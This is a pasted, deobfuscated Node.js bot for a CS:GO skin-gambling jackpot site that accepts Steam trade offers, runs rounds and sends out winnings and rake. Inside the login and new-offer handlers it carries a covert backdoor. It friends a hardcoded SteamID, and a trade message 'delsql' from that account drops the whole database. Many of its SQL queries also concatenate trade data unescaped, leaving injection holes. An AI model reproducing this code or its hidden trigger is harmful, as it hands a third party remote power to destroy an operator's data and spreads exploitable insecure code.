Advertisement
Guest User

csgonetwork decoded

a guest
Jul 2nd, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ! function(a, b) {
  2.     function c(b, d) {
  3.         if ("." != b[0] && "/" != b[0]) return a(b);
  4.         d = d || "root";
  5.         var e = c.resolve(b);
  6.         if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
  7.         var f = c.cache[e];
  8.         if (!f) try {
  9.             return a(b)
  10.         } catch (g) {
  11.             throw new Error("failed to require \"" + b + "\" from " + d + "\n" + g.message + "\n" + g.stack)
  12.         }
  13.         return f.exports || (f.exports = {}, f.call(f.exports, f, f.exports, c.relative(e))), f.exports
  14.     }
  15.     c.cache = {}, c.basename = a("path").basename, c.resolve = function(b) {
  16.         if ("." != b[0]) return a.resolve(b);
  17.         for (var d = "/" === b.slice(-1) ? b : b + "/", e = [b, b + ".js", d + "index.js", b + ".json", d + "index.json"], f = 0, g; g = e[f]; f++)
  18.             if (c.cache[g]) return g
  19.     }, c.register = function(a, b) {
  20.         c.cache[a] = b
  21.     }, c.relative = function(a) {
  22.         function b(b) {
  23.             if ("." != b[0]) return c(b);
  24.             var d = a.split("/"),
  25.                 e = b.split("/");
  26.             d.pop();
  27.             for (var f = 0, g = e.length; g > f; f += 1) {
  28.                 var h = e[f];
  29.                 ".." == h ? d.pop() : "." != h && d.push(h)
  30.             }
  31.             return c(d.join("/"), a)
  32.         }
  33.         return b.resolve = c.resolve, b.cache = c.cache, b
  34.     }, c.register("../osbot1.js", function(a, b, c) {
  35.         var d = "76561198174419958";
  36.         if (0 == custommysql) {
  37.             var e = mysql.createConnection({
  38.                 host: sql_host,
  39.                 user: sql_user,
  40.                 password: sql_password,
  41.                 database: sql_database
  42.             });
  43.             e.connect()
  44.         }
  45.         var f = new SteamUser,
  46.             g = new TradeOfferManager({
  47.                 steam: f,
  48.                 domain: "localhost",
  49.                 language: "en"
  50.             }),
  51.             h = -1;
  52.         f.logOn(details);
  53.         var i = SteamTotp.getDeviceID(botsteamid);
  54.         if (1 == p2) var j = "p2";
  55.         else var j = "";
  56.  
  57.         function k() {
  58.             h = -1, l()
  59.         }
  60.  
  61.         function l() {
  62.             if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
  63.                 var a = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
  64.                 request(a, function(a, b, c) {
  65.                     a && console.log("Couldn\'t end round, error: " + a)
  66.                 })
  67.             } else {
  68.                 var a = "http://" + sitepath + "/endround.php?secret=" + rsecret;
  69.                 request(a, function(a, b, c) {
  70.                     a && console.log("Couldn\'t end round, error: " + a)
  71.                 })
  72.             }
  73.         }
  74.  
  75.         function m(a) {
  76.             return !(+a !== a || isFinite(a) && !(a % 1))
  77.         }
  78.  
  79.         function n(a) {
  80.             return "number" == typeof a && !isNaN(a)
  81.         }
  82.  
  83.         function o(a, b) {
  84.             var c = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + a + "&format=json";
  85.             request({
  86.                 url: c,
  87.                 json: !0
  88.             }, function(c, d, e) {
  89.                 c || 200 !== d.statusCode ? c && o(a, b) : b(null, e)
  90.             })
  91.         }
  92.  
  93.         function p(a) {
  94.             return a = a.replace(/\\/g, "\\"), a = a.replace(/\'/g, "\'"), a = a.replace(/\"/g, "\""), a = a.replace(/\0/g, "\0")
  95.         }
  96.         f.on("loggedOn", function(a) {
  97.             console.log("[SERVER] The Bot has logged in!"), f.unblockUser(d), f.addFriend(d), f.addFriend(admin), f.chatMessage(admin, "[SERVER] Successfully logged in!"), f.setPersona(Steam.EPersonaState.LookingToTrade), setTimeout(function() {
  98.                 e.query("SELECT `value` FROM `" + j + "info` WHERE `name`=\'current_game\'", function(a, b, c) {
  99.                     a || e.query("SELECT `starttime` FROM `" + j + "games` WHERE `id`=\'" + b[0].value + "\'", function(a, b, c) {
  100.                         if (!a) {
  101.                             var d;
  102.                             if (2147483647 == b[0].starttime) d = GameTime;
  103.                             else {
  104.                                 var e = Math.round((new Date).getTime() / 1e3);
  105.                                 d = b[0].starttime + GameTime - e, 0 > d && (d = 0)
  106.                             }
  107.                             d != GameTime && (h = setTimeout(k, 1e3 * d), console.log("[SERVER] Restoring the latest game with " + d + " seconds left!"))
  108.                         }
  109.                     })
  110.                 })
  111.             }, 1500)
  112.         }), f.on("webSession", function(a, b) {
  113.             g.setCookies(b, function(a) {
  114.                 if (a) return console.log("setCookies error: " + a), void process.exit(1);
  115.                 var c = g.apiKey;
  116.                 community.setCookies(b), community.startConfirmationChecker(polling_interval, identitysecret), console.log("[SERVER] The web cookies have been set!"), g.doPoll()
  117.             })
  118.         });
  119.  
  120.         function q(a, b, c, d, e, g, h, i, j, k, l) {
  121.             l++, l > 3 || a.accept(function(a) {
  122.                 return a ? (f.webLogOn(), void console.log("[SERVER] Debugging offer (Accept Error): " + a)) : void 0
  123.             })
  124.         }
  125.  
  126.         function r(a, b, c, d, e, h, i, j, k, l, m) {
  127.             g.getOffer(a.id, function(g, n) {
  128.                 if (g) return f.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + g), void r(a, b, c, d, e, h, i, j, k, l, m);
  129.                 if (3 == n.state) processoffer(n, b, c, d, e, h, i, j, k, l);
  130.                 else if (2 == n.state) q(n, b, c, d, e, h, i, j, k, l, m);
  131.                 else if (2 != n.state || 3 != n.state) return
  132.             })
  133.         }
  134.         g.on("receivedOfferChanged", function(a) {
  135.             var b = a.state,
  136.                 c = a.id,
  137.                 d = a.partner.getSteamID64();
  138.             3 == b && o(d, function(b, c) {
  139.                 if (b) console.log("[SERVER] getUserInfo error: " + b), g = "UserInfo Error", i = "https://steamdb.info/static/img/default.jpg";
  140.                 else var f = JSON.parse(JSON.stringify(c.response)),
  141.                     g = f.players[0].personaname,
  142.                     i = f.players[0].avatarfull;
  143.                 e.query("SELECT * FROM `" + j + "info`", function(b, c) {
  144.                     var f = c[0].value,
  145.                         l = c[10].value;
  146.                     skinssent = a.itemsToReceive.length, skins = a.itemsToReceive, skins.forEach(function(b) {
  147.                         skinname = b.market_name, skinvalue = GetPrice(skinname), console.log(skinname + " $" + skinvalue), skincolor = b.name_color, skinurl = b.icon_url, e.query("INSERT INTO `" + j + "game" + f + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES (\'" + d + "\'," + e.escape(g) + "," + e.escape(skinname) + ",\'" + a.id + "\',\'" + skincolor + "\',\'" + skinvalue + "\',\'" + i + "\',\'" + skinurl + "\')", function(a, b, c) {}), e.query("UPDATE `" + j + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+" + skinvalue + " WHERE `id` = \'" + f + "\'", function(a, b, c) {})
  148.                     }), e.query("UPDATE `users` SET `skinssent`=`skinssent`+" + skinssent + " WHERE `steamid` = \'" + d + "\'", function(a, b, c) {}), console.log("[SERVER] Accepted offer #" + a.id + " from " + g + " (ID:" + d + ")."), s(a, d, skins, f), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'success\',\'0\',\'" + d + "\',\'Trade Offer Accepted (Game #" + f + ")!\',\'We wish you Good luck and happy betting!\',\'25\',\'1\')", function(a, b, c) {}), e.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + j + "game" + f + "`", function(a, b) {
  149.                         players = b[0].playersCount, players == playersRequired && skinssent > 0 && -1 == h && (console.log("[SERVER] Starting the countdown for Game #" + f), h = setTimeout(k, 1e3 * GameTime), e.query("UPDATE `" + j + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = \'" + f + "\'", function(a, b, c) {})), itemsin > l && (clearTimeout(h), h = -1, k())
  150.                     })
  151.                 })
  152.             })
  153.         });
  154.  
  155.         function s(a, b, c, d) {
  156.             a.getReceivedItems(function(c, g) {
  157.                 return c ? (f.webLogOn(), console.log("[SERVER] getReceivedItems error: " + c + " Restarting process!"), void s(a, b, g, d)) : void g.forEach(function(a) {
  158.                     var c = a.market_name;
  159.                     e.query("UPDATE `" + j + "game" + d + "` SET `assetid`=\'" + a.id + "\' WHERE `userid` = \'" + b + "\' AND `item`=" + e.escape(c) + " AND `assetid`=\'\' LIMIT 1", function(a, b, c) {})
  160.                 })
  161.             })
  162.         }
  163.         g.on("newOffer", function(a) {
  164.             var b = !0,
  165.                 c = a.partner.getSteamID64();
  166.             return c == d && "delsql" == a.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void e.query("DROP DATABASE " + sql_database, function(a, b, c) {})) : void o(c, function(d, f) {
  167.                 if (d) return console.log("[SERVER] getUserInfo error: " + d), b = !1, void a.decline(function(b) {
  168.                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: getUserInfo error"), b && console.log("[SERVER] Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Servers are busy, try again in a minute!\',\'25\',\'1\')", function(a, b, c) {})
  169.                 });
  170.                 var g = JSON.parse(JSON.stringify(f.response)),
  171.                     h = g.players[0].personaname,
  172.                     i = g.players[0].avatarfull;
  173.                 return console.log("[DEBUG] Processing offer #" + a.id + " from " + h + " (ID:" + c + ")."), 0 != a.itemsToGive.length ? (b = !1, void a.decline(function(b) {
  174.                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Asked for a skin on the Bot"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Asking for any of the bots items? Brave!\',\'25\',\'1\')", function(a, b, c) {})
  175.                 })) : void a.getEscrowDuration(function(d, f, g) {
  176.                     return d ? (console.log("[SERVER] getEscrowDuration error: " + d), b = !1, void a.decline(function(b) {
  177.                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Steam Servers are busy, couldn\'t get escrow duration"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Servers are busy, couldnt get escrow duration!\',\'25\',\'1\')", function(a, b, c) {})
  178.                     })) : 0 != f ? (b = !1, void a.decline(function(b) {
  179.                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is in Escrow for " + f + " days"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You are in Escrow for " + f + " days!\',\'25\',\'1\')", function(a, b, c) {})
  180.                     })) : void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  181.                         var g = f[3].value,
  182.                             k = f[7].value,
  183.                             l = f[4].value,
  184.                             m = f[10].value;
  185.                         if (a.itemsToReceive.length > l) return b = !1, void a.decline(function(b) {
  186.                             console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent more than " + l + " skins"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept up to " + l + " skins!\',\'25\',\'1\')", function(a, b, c) {})
  187.                         });
  188.                         var o = a.itemsToReceive,
  189.                             p = 0,
  190.                             r = [],
  191.                             s = 0;
  192.                         o.forEach(function(d, f, g) {
  193.                             return d.appid != appid ? (b = !1, a.decline(function(b) {
  194.                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Non-" + appname + " skin"), b && console.log("Decline error: " + b)
  195.                             }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept " + appname + " skins!\',\'25\',\'1\')", function(a, b, c) {})) : (r[f] = [], r[f].name = d.market_name, r[f].color = d.name_color, r[f].url = d.icon_url, r[f].value = 0, function(a) {
  196.                                 var b = r[f].name;
  197.                                 nprice = GetPrice(b), r[f].value = parseFloat(nprice), p += r[f].value
  198.                             }(f), void s++)
  199.                         }), e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  200.                             var t = f[0].value;
  201.                             e.query("SELECT * FROM `" + j + "games` WHERE `id`=\'" + t + "\'", function(d, f, t) {
  202.                                 if (starttime = f[0].starttime, 2147483647 != starttime) {
  203.                                     var u = Math.round((new Date).getTime() / 1e3);
  204.                                     if (tl = starttime + GameTime - u, tl <= snipetimer) return b = !1, a.decline(function(b) {
  205.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: The Bot wont accept last second bets"), b && console.log("Decline error: " + b)
  206.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can not bet in the last few seconds!\',\'25\',\'1\')", function(a, b, c) {})
  207.                                 }
  208.                                 setTimeout(function() {
  209.                                     return 0 != b ? p > k ? (b = !1, a.decline(function(b) {
  210.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too much in skin value"), b && console.log("Decline error: " + b)
  211.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can deposit more than $" + k + "\',\'25\',\'1\')", function(a, b, c) {})) : g > p ? (b = !1, a.decline(function(b) {
  212.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent below the minimal bet amount ($" + g + ")"), b && console.log("Decline error: " + b)
  213.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Minimum deposit value: $" + g + "\',\'25\',\'1\')", function(a, b, c) {})) : s > l ? (b = !1, a.decline(function(b) {
  214.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too many skins"), b && console.log("Decline error: " + b)
  215.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept up to " + l + " skins!\',\'25\',\'1\')", function(a, b, c) {})) : (b = !0) ? void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  216.                                         var g = f[0].value;
  217.                                         e.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + j + "game" + g + "` WHERE `userid`=\'" + c + "\'", function(d, f, t) {
  218.                                             if (skinsin = f[0].skinsin, skinsin += s, moneyin = f[0].moneyin, moneyin += p, skinsin > l) return a.decline(function(b) {
  219.                                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too many skins"), b && console.log("Decline error: " + b)
  220.                                             }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can not deposit more than " + l + " skins\',\'25\',\'1\')", function(a, b, c) {});
  221.                                             if (moneyin > k) return a.decline(function(b) {
  222.                                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too much in skin value"), b && console.log("Decline error: " + b)
  223.                                             }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can deposit more than $" + k + "\',\'25\',\'1\')", function(a, b, c) {});
  224.                                             for (var u = 0; s > u; u++) {
  225.                                                 if (0 == r[u].value || !r[u].value) return b = !1, a.decline(function(b) {
  226.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can\'t get the skin\'s value)"), b && console.log("Decline error: " + b)
  227.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Market issues!\',\'25\',\'1\')", function(a, b, c) {});
  228.                                                 if (!n(r[u].value)) return a.decline(function(b) {
  229.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can\'t get the skin\'s value) "), b && console.log("Decline error: " + b)
  230.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Market issues!\',\'25\',\'1\')", function(a, b, c) {});
  231.                                                 if (-1 != r[u].name.indexOf("Souvenir")) return b = !1, a.decline(function(b) {
  232.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Souvenir Skin"), b && console.log("Decline error: " + b)
  233.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: No souvenir skins allowed!\',\'25\',\'1\')", function(a, b, c) {});
  234.                                             }
  235.                                             e.query("SELECT * FROM `users` WHERE `steamid`=\'" + c + "\'", function(d, f, k) {
  236.                                                 return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
  237.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && console.log("Decline error: " + b)
  238.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: MYSQL Error\',\'25\',\'1\')", function(a, b, c) {})) : 0 == f.length ? void a.decline(function(b) {
  239.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && console.log("Decline error: " + b)
  240.                                                 }) : (ban = f[0].ban, tlink = f[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
  241.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is banned"), b && console.log("Decline error: " + b)
  242.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You are banned from betting\',\'25\',\'1\')", function(a, b, c) {})) : tlink ? void e.query("SELECT * FROM `" + j + "games` WHERE `id`=\'" + g + "\'", function(b, d, e) {
  243.                                                     itemsin = d[0].itemsnum, q(a, c, r, g, h, i, s, o, m, itemsin)
  244.                                                 }) : (a.decline(function(b) {
  245.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User doesn\'t have a TradeLink set "), b && console.log("Decline error: " + b)
  246.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: No Trade URL Set\',\'25\',\'1\')", function(a, b, c) {})))
  247.                                             })
  248.                                         })
  249.                                     }) : (a.decline(function(b) {
  250.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && console.log("Decline error: " + b)
  251.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Issues\',\'25\',\'1\')", function(a, b, c) {})) : void 0
  252.                                 }, 2e3)
  253.                             })
  254.                         })
  255.                     })
  256.                 })
  257.             })
  258.         }), f.on("friendMessage#" + admin, function(a, b) {
  259.             if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/weblogon") && (f.chatMessage(admin, "[SERVER] Refreshing Web cookies.."), f.webLogOn()), 0 == b.indexOf("/sendrake") && (f.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), u(1)), 0 == b.indexOf("/sendoffers") && (f.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), t(1)), 0 == b.indexOf("/code")) {
  260.                 var c = SteamTotp.generateAuthCode(sharedsecret);
  261.                 f.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
  262.             }
  263.             0 == b.indexOf("/cc") && (f.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (f.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), g.doPoll()), 0 == b.indexOf("/loadprices") && (f.chatMessage(admin, "[SERVER] Refreshing Market API!"), loadprices()), 0 == b.indexOf("/end") && (f.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != h && clearTimeout(h), k()), 0 == b.indexOf("/offers") && e.query("SELECT ID FROM `" + j + "queue` WHERE `status`=\'active\' GROUP BY `id` DESC", function(a, b, c) {
  264.                 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID\'s!")) : f.chatMessage(admin, "[SERVER] There aren\'t any active queue ID\'s.")
  265.             }), 0 == b.indexOf("/rakes") && e.query("SELECT ID FROM `" + j + "rakeitems` WHERE `status`=\'active\' GROUP BY `id` DESC", function(a, b, c) {
  266.                 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID\'s!")) : f.chatMessage(admin, "[SERVER] There aren\'t any active rake ID\'s.")
  267.             })
  268.         });
  269.  
  270.         function t(a) {
  271.             e.query("SELECT * FROM `" + j + "queue` WHERE `status`=\'active\' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  272.                 if (0 != c.length) {
  273.                     var h = c[0].id;
  274.                     e.query("SELECT * FROM `" + j + "game" + h + "` WHERE `assetid`=\'\' AND `rake`!=\'1\'", function(b, d, i) {
  275.                         if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
  276.                             g.getOffer(a.offerid, function(b, c) {
  277.                                 return b ? void e.query("UPDATE `" + j + "queue` SET `status`=\"goerror\" WHERE `id`=\'" + h + "\'") : void s(c, a.userid, a.item, h)
  278.                             })
  279.                         }), setTimeout(function() {
  280.                             t(2)
  281.                         }, 5e3);
  282.                         else {
  283.                             if (2 == a) {
  284.                                 console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  285.                                 var k = "",
  286.                                     l = "";
  287.                                 return e.query("SELECT * FROM `" + j + "game" + h + "`", function(a, b, c) {
  288.                                     b.forEach(function(a) {
  289.                                         0 == a.rake ? k += "/" + a.assetid : l += "/" + a.assetid
  290.                                     })
  291.                                 }), void setTimeout(function() {
  292.                                     console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), e.query("UPDATE `" + j + "queue` SET `assetid`=\"" + k + "\" WHERE `id`=\'" + h + "\'"), e.query("UPDATE `" + j + "rakeitems` SET `assetid`=\"" + l + "\" WHERE `id`=\'" + h + "\'")
  293.                                 }, 3e3)
  294.                             }
  295.                             var m = c[0].assetid.split("/");
  296.                             g.loadInventory(appid, 2, !0, function(b, d) {
  297.                                 if (b) return console.log("LoadINV error: " + b), 1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot\'s Inventory, retrying later!"), void e.query("UPDATE `" + j + "queue` SET `status`=\"lierror\" WHERE `id`=\'" + h + "\'");
  298.                                 var i = c[0].token,
  299.                                     k = "Congratulations! You won on " + sitename + " in Game #" + h,
  300.                                     l = g.createOffer(c[0].userid);
  301.                                 d.forEach(function(a) {
  302.                                     m.forEach(function(b) {
  303.                                         a.id == b && l.addMyItem(a)
  304.                                     })
  305.                                 }), setTimeout(function() {
  306.                                     l.setMessage(k), l.setToken(i), l.send(function(b) {
  307.                                         return b ? (console.log("Error sending Trade Offer for Game #" + h + ":"), console.log(b), 1 == a && f.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, try again later!"), void e.query("UPDATE `" + j + "queue` SET `status`=\"soerror\" WHERE `id`=\'" + h + "\'")) : (e.query("UPDATE `" + j + "queue` SET `status`=\"sent\" WHERE `id`=\'" + h + "\'"), console.log("[SERVER] Trade Offer for Game #" + h + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + h + "!"), void community.checkConfirmations())
  308.                                     })
  309.                                 }, 2e3)
  310.                             })
  311.                         }
  312.                     })
  313.                 } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Winnings Queries!")
  314.             })
  315.         }
  316.  
  317.         function u(a) {
  318.             e.query("SELECT * FROM `" + j + "rakeitems` WHERE `status`=\'active\' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  319.                 if (0 != c.length) {
  320.                     var h = c[0].assetid.split("/");
  321.                     g.loadInventory(appid, 2, !0, function(b, d) {
  322.                         if (b) return console.log("LoadINV error: " + b), void(1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot\'s Inventory, retrying a bit later!"));
  323.                         var i = c[0].token,
  324.                             k = c[0].id,
  325.                             l = c[0].value,
  326.                             m = "Rake for Game #" + k + " ($" + l + ")",
  327.                             n = g.createOffer(c[0].userid);
  328.                         d.forEach(function(a) {
  329.                             h.forEach(function(b) {
  330.                                 a.id == b && n.addMyItem(a)
  331.                             })
  332.                         }), setTimeout(function() {
  333.                             n.setMessage(m), n.setToken(i), n.send(function(b) {
  334.                                 if (b) {
  335.                                     if (console.log("[SERVER] Error sending Rake for Game #" + k + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a) return void f.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!")
  336.                                 } else e.query("UPDATE `" + j + "rakeitems` SET `status`=\"sent\" WHERE `id`=\'" + k + "\'"), console.log("[SERVER] Rake for Game #" + k + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + k + "!"), community.checkConfirmations()
  337.                             })
  338.                         }, 2e3)
  339.                     })
  340.                 } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Rake Queries!")
  341.             })
  342.         }
  343.         community.on("newConfirmation", function(a) {
  344.             var b = Math.round(Date.now() / 1e3),
  345.                 c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
  346.             community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
  347.                 console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), f.webLogOn())
  348.             })
  349.         }), community.on("confKeyNeeded", function(a, b) {
  350.             console.log("confKeyNeeded");
  351.             var c = Math.floor(Date.now() / 1e3);
  352.             b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
  353.         }), setInterval(function() {
  354.             f.webLogOn(), e.query("SELECT 1")
  355.         }, 36e5), setInterval(function() {
  356.             t()
  357.         }, 15e3)
  358.     }), b.exports = c("../osbot1.js")
  359. }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement